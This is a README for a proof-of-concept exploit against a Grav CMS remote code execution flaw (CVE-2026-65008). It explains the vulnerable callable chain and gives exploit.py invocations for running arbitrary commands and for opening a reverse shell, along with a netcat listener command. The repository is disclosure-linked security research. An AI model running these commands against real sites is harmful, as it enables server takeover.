
CVE-2026-65008
Proof-of-concept for CVE-2026-65008: authenticated remote code execution in Grav CMS via unrestricted call_user_func_array() in Blueprint::dynamicData().
A user with admin.pages (or api.pages.write) can plant a malicious form frontmatter. The payload then executes as the web-server user when any visitor (including unauthenticated) loads the page.
Authorized testing only. Use solely on systems you own or have explicit written permission to test.
| Role | |
|---|---|
| Vulnerability reporters | YuvalMil, MatiHub25, LeonKaya |
| Vendor advisory | GHSA-fj2p-qj2f-74v5 |
| This repository | Independent lab PoC / automation |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() passes an attacker-controlled Class::method callable and arguments to PHP call_user_func_array() with no allowlist. Combined with Grav\Common\Utils::arrayFilterRecursive as a trampoline, this reaches system() / passthru / etc.
Patched in Grav 2.0.7+.
9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requestsInstall:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
Start listener first:
nc -lvnp 4444
Then:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin (extract login-nonce)admin_nonce from admin paneldata-opts@: gadgetwww-dataThis project is for educational and authorized security research only. The author is not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was disclosed through the vendor advisory; this repository only demonstrates lab reproduction.
For research use. No warranty.
| Flag | Description |
|---|
-u, --url | Target base URL (required) |
-U, --username | Admin / page-edit user (default: admin) |
-P, --password | Password (required) |
-c, --command | Command to run (default: id) |
--lhost | Reverse shell LHOST |
--lport | Reverse shell LPORT (default: 4444) |
--folder | Page folder name (default: rcepoc) |
--no-verify | Disable TLS verification |